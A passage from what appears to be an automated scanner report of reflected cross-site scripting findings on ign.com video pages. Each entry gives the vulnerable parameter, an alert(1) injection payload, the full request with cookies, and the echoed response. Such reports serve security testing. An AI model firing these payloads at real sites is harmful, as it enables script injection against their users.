<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer?a3809<script>alert(1)</script>9defa5b3918=1</div>
...[SNIP]...

3.626. http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/26/pokemon-black-white-version-battle-trailer

Issue detail

The value of the objectid request parameter is copied into the HTML document as plain text between tags. The payload 623b7<script>alert(1)</script>54c15aa9bde was submitted in the objectid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/26/pokemon-black-white-version-battle-trailer?objectid=59687623b7<script>alert(1)</script>54c15aa9bde HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:45 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:45 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=1208afc75b795b4c5c8c1952aa0713e2; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer?objectid=59687623b7<script>alert(1)</script>54c15aa9bde</div>
...[SNIP]...

3.627. http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/26/pokemon-black-white-version-battle-trailer

Issue detail

The value of the objectid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 63e62'%3balert(1)//ea5cde2f7f1 was submitted in the objectid parameter. This input was echoed as 63e62';alert(1)//ea5cde2f7f1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/26/pokemon-black-white-version-battle-trailer?objectid=5968763e62'%3balert(1)//ea5cde2f7f1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=456f5faba3fbb434c78ff46f2f3c71cf; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85924

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
/oyster.ignimgs.com\/static\/ignmedia\/js\/ZeroClipboard.swf");
var url = '/videos/nextup/4d3f77722db5b90aa3002b22?objType=games&platform=ds&classification=trailer&context=5968763e62';alert(1)//ea5cde2f7f1';
$j.get(url, function(data){
$j("#nextup .hdr-nextup").after(data);
});
}
</script>
...[SNIP]...

3.628. http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/27/ign-daily-fix-012711

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5f9c8'-alert(1)-'f01144b560b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/20115f9c8'-alert(1)-'f01144b560b/01/27/ign-daily-fix-012711 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=5a8b171ccff6dd05daa0de65d6002e78; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
("#nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/20115f9c8'-alert(1)-'f01144b560b/01/27/ign-daily-fix-012711';
   }
   </script>
...[SNIP]...

3.629. http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/27/ign-daily-fix-012711

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac1a4'-alert(1)-'db5f9357ceb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01ac1a4'-alert(1)-'db5f9357ceb/27/ign-daily-fix-012711 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=14d7ea265c835cb55bfa30de944e766e; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01ac1a4'-alert(1)-'db5f9357ceb/27/ign-daily-fix-012711';
   }
   </script>
...[SNIP]...

3.630. http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/27/ign-daily-fix-012711

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5fc17'-alert(1)-'2f19e5fc708 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/275fc17'-alert(1)-'2f19e5fc708/ign-daily-fix-012711 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:53 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=f5f34f4da2bb5e078417a65f0b287753; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/275fc17'-alert(1)-'2f19e5fc708/ign-daily-fix-012711';
   }
   </script>
...[SNIP]...

3.631. http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/27/ign-daily-fix-012711

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a92f7'-alert(1)-'2fdb358b436 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/27/ign-daily-fix-012711a92f7'-alert(1)-'2fdb358b436 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=1d725cd5f3e14ef6e258750e4b15482b; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44519

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
e").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711a92f7'-alert(1)-'2fdb358b436';
   }
   </script>
...[SNIP]...

3.632. http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/27/ign-daily-fix-012711

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 99976<script>alert(1)</script>e8dc981f68f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/27/ign-daily-fix-012711?99976<script>alert(1)</script>e8dc981f68f=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=8214ca17bc8479533519befc5f04fcd8; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83484

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711?99976<script>alert(1)</script>e8dc981f68f=1</div>
...[SNIP]...

3.633. http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/27/ign-daily-fix-012711

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef555'-alert(1)-'d006267cc79 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/27/ign-daily-fix-012711?ef555'-alert(1)-'d006267cc79=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=56d5d02e7932c2b3217f7acac007750e; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83439

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711?ef555'-alert(1)-'d006267cc79=1';
   }
   </script>
...[SNIP]...

3.634. http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/28/ign-daily-fix-012811

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d68bf'-alert(1)-'c89d2601819 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011d68bf'-alert(1)-'c89d2601819/01/28/ign-daily-fix-012811 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=f93ebbb938a825f12a2a37b84c0e4c5d; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
("#nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011d68bf'-alert(1)-'c89d2601819/01/28/ign-daily-fix-012811';
   }
   </script>
...[SNIP]...

3.635. http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/28/ign-daily-fix-012811

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b7efc'-alert(1)-'a79cfee7098 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01b7efc'-alert(1)-'a79cfee7098/28/ign-daily-fix-012811 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
